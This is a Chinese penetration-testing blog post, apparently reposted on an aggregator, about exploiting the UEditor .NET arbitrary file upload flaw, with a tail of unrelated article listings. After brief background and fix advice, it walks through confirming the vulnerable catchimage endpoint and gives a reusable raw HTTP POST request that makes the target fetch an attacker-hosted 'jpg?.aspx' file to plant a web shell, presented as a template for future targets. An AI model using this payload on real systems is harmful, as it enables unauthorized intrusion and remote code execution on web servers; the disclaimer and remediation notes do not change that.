实战纪实 | 编辑器漏洞之Ueditor-任意文件上传漏洞 (老洞新谈)

UEditor 任意文件上传漏洞

前言

前段时间在做某政府单位的项目的时候发现存在该漏洞,虽然是一个老洞,但这也是容易被忽视,且能快速拿到shell的漏洞,在利用方式上有一些不一样的心得,希望能帮助到一些还不太了解的小伙伴,故此写了此篇文章。

一、 漏洞简介

1.1 漏洞描述

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

1.2 影响范围

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。

1.3 漏洞原理

漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。

1.4 漏洞修复

1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。
2.使用各类WAF软件,防止攻击者上传恶意文件。
3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。

二、漏洞复现

首先

我们进入到该系统的后台,通过挨个功能点的查看最终再此位置发现了一个Ueditor的编辑器。

图片

第一步:

验证码漏洞是否存在:拼接漏洞URL地址:
UEditor/net/controller.ashx?action=catchimage

显示{“state”:”参数错误:没有指定抓取源”},就基本可以继续尝试漏洞利用

图片

图片

第二步:漏洞利用
1、先谈一下部分人可能存在的误区

例如:很多小伙伴当看网上文章的时候,看到要构造写一个HTML的文件上传脚本,需要把自己服务器上的图片码上传到漏洞站点的时候。

第一种:有些不太了解的小伙伴在网上看到一些以下位置的复现报告的时候,有的就会说Windows系统没法命名文件带?号的,比如:xxx.jpg?.aspx 格式的。

第二种:我没有Linux服务器怎么办,没法在Windows系统的服务器上用这种带问号?格式的文件怎么办,之类这样的困惑。

很多小伙伴就还真被误导进去了。

图片

图片

1.1 误区解惑

网上很多文章并没有详细说明一些看似简单的方法步骤,但却有时候会容易让不太了解的人,产生误导。

这里我来详细解惑:
重点:
第一点:就是直接用图片码哪怕不需要图片码内容绕过的都可以,有时候直接一个稍微免杀的aspx的码改为jpg格式都行。最终示个人遇到的实际情况而定。
第二点:不需要用到Linux服务器,直接Windows服务器即可。

图片

从上图实践中可以看出,哪怕是Linux系统类型的服务器,你用格式为:xxx.jpg?.aspx 的文件上传也是不行的,哪怕你的服务器目录存在该文件,也会显示404

正确成功的方法

图片

下图可以看到上传成功返回上传的路径

图片

2、这里我个人经验常用推荐使用的方法:

(墙裂推荐大家,或者嫌麻烦想省事的朋友使用)

2.1 个人推荐:数据包构造法

原因:当你用网上很多写用什么HTML文件的方式上传,抓包你会发现其实上传的数据包是这样的。

图片

由此我们可以换个思路想到,为何不直接用该数据包呢,以后每次遇到该编辑器漏洞,都可尝试用该数据包修改部分内容即可直接使用。方便又快捷。

图片

通用数据包:
POST /替换漏洞URL地址拼接/UEditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="100", "Chromium";v="100", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 49source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx

最后上传成功,Getshell

图片

该编辑器还有其他漏洞如SSRF,存储型xss等,这里就不在过多赘述,感兴趣的小伙伴可自行网上搜索尝试。

该类型漏洞现在还是有不少,只要细心去发现。
希望此篇文章对大家能有所帮助,觉得对你有所帮助的小伙伴,可以评论加点赞!
谢谢!

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/811469.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大模型日报|今日必读的9篇大模型论文

大家好,今日必读的大模型论文来啦! 1.Google DeepMind 提出 RecurrentGemma:超越 Transformer,迈向高效开放语言模型 Google DeepMind 团队提出了 RecurrentGemma,一个使用 Google 新颖的 Griffin 架构的开放语言模型…

PHP01——php快速入门 之 使用phpstudy快速搭建PHP环境

PHP01——php快速入门 之 使用phpstudy快速搭建PHP环境 0. 前言1. 下载小皮面板1.1 下载phpstudy(小皮面板)1.2 启动、简单访问1.2.1 启动Apache1.2.2 访问1.2.3 访问自定义文件或页面 2. 创建网站2.1 创建网站2.2 可能遇到的问题2.2.1 hosts权限问题&am…

【新版HI3559AV100开发注意事项(四)】

新版HI3559AV100开发注意事项(四) 三十、HI3559A参数中对输入分辨率限制的原因是? 答:分辨率限制有两个来源: 一个是时钟频率最高为600M,开启一拍两像素之后相当于1200M。你这个数据量太大了,6…

[大模型]基于 ChatGLM3 和 LangChain 搭建知识库助手

基于 ChatGLM3 和 LangChain 搭建知识库助手 环境配置 在已完成 ChatGLM3 的部署基础上,还需要安装以下依赖包: pip install langchain0.0.292 pip install gradio4.4.0 pip install chromadb0.4.15 pip install sentence-transformers2.2.2 pip inst…

微服务项目实战-黑马头条(一):环境搭建 + APP登录功能【前端静态资源+nginx反向代理+网关+过滤器】

文章目录 一、搭建nacos二、初始工程的搭建2.1 环境准备2.2主体结构 三、APP登录3.1 需求分析3.2 表结构分析3.3 接口定义3.4 功能实现 四、接口工具postman、swagger、knife4j4.1 postman4.2 swagger4.3 knife4j 五、网关5.1 网关搭建5.2 全局过滤器实现jwt校验 六、前端集成6…

目前电视盒子哪个最好?测评工作室盘点超强电视盒子推荐

每年我们会进行数十次电视盒子测评,对各个品牌的产品都有深入的了解,最近我们收到了很多私信不知道目前电视盒子哪个最好,这次我们结合配置总结了五款性能超强的电视盒子推荐给各位,预算足够想买高配电视盒子的朋友们可不要错过啦…

高级Java开发工程师手把手教你用AI人工智能帮你写JAVA代码实际案例二(生成自定义springboot定时器组件)全网唯一

高级Java开发工程师手把手教你用AI人工智能帮你写JAVA代码实际案例二全网唯一 一、需求背景案例说明 笔者有个实际的生产项目,想自己自定义定时器到数据库表里面,不想配置到配置文件里面,很麻烦!这次想用AI帮我写代码&#xff0…

蓝桥杯算法题:栈(Stack)

这道题考的是递推动态规划,可能不是很难,不过这是自己第一次靠自己想出状态转移方程,所以纪念一下: 要做这些题目,首先要把题目中会出现什么状态给找出来,然后想想他们的状态可以通过什么操作转移&#xf…

学习数通HCIE选择誉天有什么优势?

誉天数通课程亮点 课程内容详实,千万级实训环境 涵盖数通技术全场景热门技术,涉及传统园区网,虚拟化园区网,广域互联技术,数据中心网络,网络自动化运维 专业机房环境,全真机教学演示&#xf…

模块化组合优势凸显钡铼IOy系列轻松应对大规模工业自动化工程

模块化组合是钡铼IOy系列独立式I/O模块的一大优势,它为大规模工业自动化工程提供了灵活性、可扩展性和定制性,从而轻松应对不同规模和复杂度的工厂应用。以下是关于模块化组合优势的详细解析: 1. 灵活性和定制性 模块化设计使得钡铼IOy系列…

小鸡宝宝考考你每匹斑马身上的条纹都不相同吗?蚂蚁庄园4.13答案

蚂蚁庄园是一款爱心公益游戏,用户可以通过喂养小鸡,产生鸡蛋,并通过捐赠鸡蛋参与公益项目。用户每日完成答题就可以领取鸡饲料,使用鸡饲料喂鸡之后,会可以获得鸡蛋,可以通过鸡蛋来进行爱心捐赠。其中&#…

【工具-工具指南】

项目-开发工具 ■ 编辑器■ Xmind ■ UI交互设计■ AxureRP9 ■ 项目管理■ boardmix■ excalidraw ■ Markdown■ MarkText■ Typora■ Ulysses■ Notable■ VNote■ Mou■ Bears■ Notion■ 有道云■ 印象笔记 ■ 硬件画图■ AD■ Allegro■ PADS■ Eagle■ Altium■ Fritzin…

大型网站系统架构演化

大型网站质量属性优先级:高性能 高可用 可维护 应变 安全 一、单体架构 应用程序,数据库,文件等所有资源都在一台服务器上。 二、垂直架构 应用和数据分离,使用三台服务器:应用服务器、文件服务器、数据服务器 应用服…

Mongo 报错 Can‘t canonicalize query: BadValue $in needs an array

一、遇到的问题 Mongo in查询 [ UserId > array($in>$userIds)] $userIds数组不是连续索引,报错Cant canonicalize query: BadValue $in needs an array 二、解决 array_values($userIds) 重新索引一下变成连续索引即可。 Mongo in查询的数组要是连续索…

凡尔码搭建物流消防安全巡查系统

物流行业在现代经济中扮演着重要角色,由于物流过程涉及到大量的货物运输和存储,伴随着存在安全隐患、消防安全、设备设施安全等问题;安全问题也为物流企业管理者们需要高度关注的重要问题之一;近年来,随着消防安全管理…

华为校园公开课走入上海交大,鸿蒙成为专业核心课程

4月12日,华为校园公开课在中国上海交通大学成功举办,吸引了来自计算机等相关专业的150余名学生参加。据了解,由吴帆、陈贵海、过敏意、吴晨涛、刘生钟等教授在中国上海交通大学面向计算机系本科生开设的《操作系统》课程,是该系学…

揭秘大前端开发方向的新机遇!

众所周知,华为开发者大会2023,宣布不再兼容安卓,同时宣布了“鸿飞计划”,欲与iOS、安卓在市场三分天下,这对中国国产操作系统而言,具有划时代的意义。 鸿蒙应用开发的兴起&发展 鸿蒙操作系统是华为自…

如何androd动态注册编写计算器

源地址:https://www.ctvol.com/asreverse/41030.html 如何androd动态注册编写计算器 直接开上es开鲁,配置我们就不用多说了。 创建layout;在之后写debug时候回出现乱掉的情况,可以直接慢慢调试 在红圈中是layout基本设置&#…

细胞世界:1.内膜系统(物流网络)与跨膜运输(交通方式)

内膜系统就像一个高度组织化、效率卓越的现代化物流网络,各组成部分协同工作,确保细胞内外的物质转运和处理高效、准确进行。每个部分都承担着不同但相互关联的角色,通过这样的内部物流系统,细胞能够维持其生命活动,响…

网络广播系统是什么?网络广播的作用及应用

网络广播系统是什么?网络广播的作用及应用 商场广播的目的:提醒人员有序、监控配合点对点呼叫、物品遗失广播、背景音乐防噪、紧急情况呼叫等等,各个场景有各个场景的需求模式,广播系统的建设重点在于突发情况的应对,国家已经把广…